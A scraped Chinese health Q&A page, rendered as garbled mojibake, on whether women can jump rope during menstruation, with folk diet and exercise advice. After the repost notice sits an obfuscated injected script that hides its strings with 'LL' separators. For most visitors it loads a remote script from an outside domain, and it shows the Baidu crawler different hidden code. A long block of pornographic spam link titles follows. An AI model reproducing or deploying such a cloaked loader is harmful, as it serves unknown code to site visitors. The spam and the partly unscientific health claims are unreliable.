當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

請(qǐng)問月經(jīng)期間能跳繩嗎

2017-04-15 22:57:56  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):我們知道的,一旦女人到了月經(jīng)期間的時(shí)候,那么往往有不同程度的抵抗力下降的趨勢(shì)。因?yàn)轶w內(nèi)激素有變化,所以這個(gè)期間的人們往往發(fā)現(xiàn)自己的

我們知道的,一旦女人到了月經(jīng)期間的時(shí)候,那么往往有不同程度的抵抗力下降的趨勢(shì)。因?yàn)轶w內(nèi)激素有變化,所以這個(gè)期間的人們往往發(fā)現(xiàn)自己的情緒也是易波動(dòng)。、一旦還有痛經(jīng)的話,那么就更加容易在月經(jīng)期間大發(fā)雷霆。經(jīng)期的日常保健是很重要的。是和健康息息相關(guān)的事情,月經(jīng)期間跳繩好不好呢?

1. 最好不要跳繩哦,可以做些瑜伽動(dòng)作來緩解,不如鷹姿勢(shì),可以緩解勝利疼痛哦

2.月經(jīng)期間本來就是需要做些柔和點(diǎn)的運(yùn)動(dòng)的,不如散布或者快走,但是不要做壓迫腹部的活動(dòng),跳繩活動(dòng)量太大,不適合,最起碼不適合前三天。

3.根據(jù)人體規(guī)律,本來月經(jīng)期間就是女人最虛弱的時(shí)候,抵抗力下降容易得病啥的。而且這個(gè)時(shí)候是補(bǔ)充營(yíng)養(yǎng)的時(shí)候。減肥需要合理的在保證健康前提下進(jìn)行哦。

4.不過月經(jīng)期間后的一周是人體代謝的最快時(shí)期,非常適合減肥,所以你可以這時(shí)候加大運(yùn)動(dòng)量來控制體重哦,很有效果,我有同學(xué)就用這個(gè)來減肥的。但是注意月經(jīng)期間和月經(jīng)要來的之前一周是不適合減肥的,合理控制就好。 祝你成功哦

當(dāng)病人在這個(gè)時(shí)期有不舒服的癥狀的時(shí)候,那么需要進(jìn)一步去選用營(yíng)養(yǎng)豐富的食物。可以吃一些五谷雜糧粥。可以吃薏苡仁粥。而且不要隨隨便便去吃一些荔枝肉、桂圓肉。這些是屬于陽(yáng)氣偏熱的東西。不要在經(jīng)期 時(shí)候房事。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
国产成人精品2021| 日韩精品中文乱码在线观看| caoporn国产精品免费| 国产精品九九九久久九九| 国产精品无码一区二区在线观一| 久久久久久久久久久精品尤物| 久久99精品国产麻豆婷婷| 久久夜色精品国产噜噜麻豆| 久久99精品久久久久久久久久| 日韩精品一区二区三区不卡| 亚洲精品自偷自拍无码| 久久国产精品2020盗摄| 久久精品国产99国产精品 | 国产精品合集一区二区三区| 亚洲精品无码MV在线观看| 国产真实伦偷精品| 国产精品喷水在线观看| 无码国产乱人伦偷精品视频| 国产精品自在线拍国产电影| 日本精品一区二区在线播放| 国产精品亚洲四区在线观看| 久久久无码精品亚洲日韩蜜桃| 国产乱人伦偷精品视频免观看| 国产精品美女乱子伦高| 国产精品久久久久蜜芽| 亚洲欧洲日本精品| 亚洲国产精品久久久久婷婷老年 | 亚洲国产精品无码久久久秋霞1| 91精品国产亚洲爽啪在线影院 | 亚洲AV无码之国产精品| 亚洲精品国产福利在线观看| 久久九九久精品国产日韩经典| 99久久国产精品免费一区二区| 500av大全导航精品| 精品91一区二区三区| 国产精品模特hd在线| 日韩精品视频观看| 国产精品毛片大码女人| 无码精品国产va在线观看dvd| 国产精品久久久久久福利漫画| 在线精品视频播放|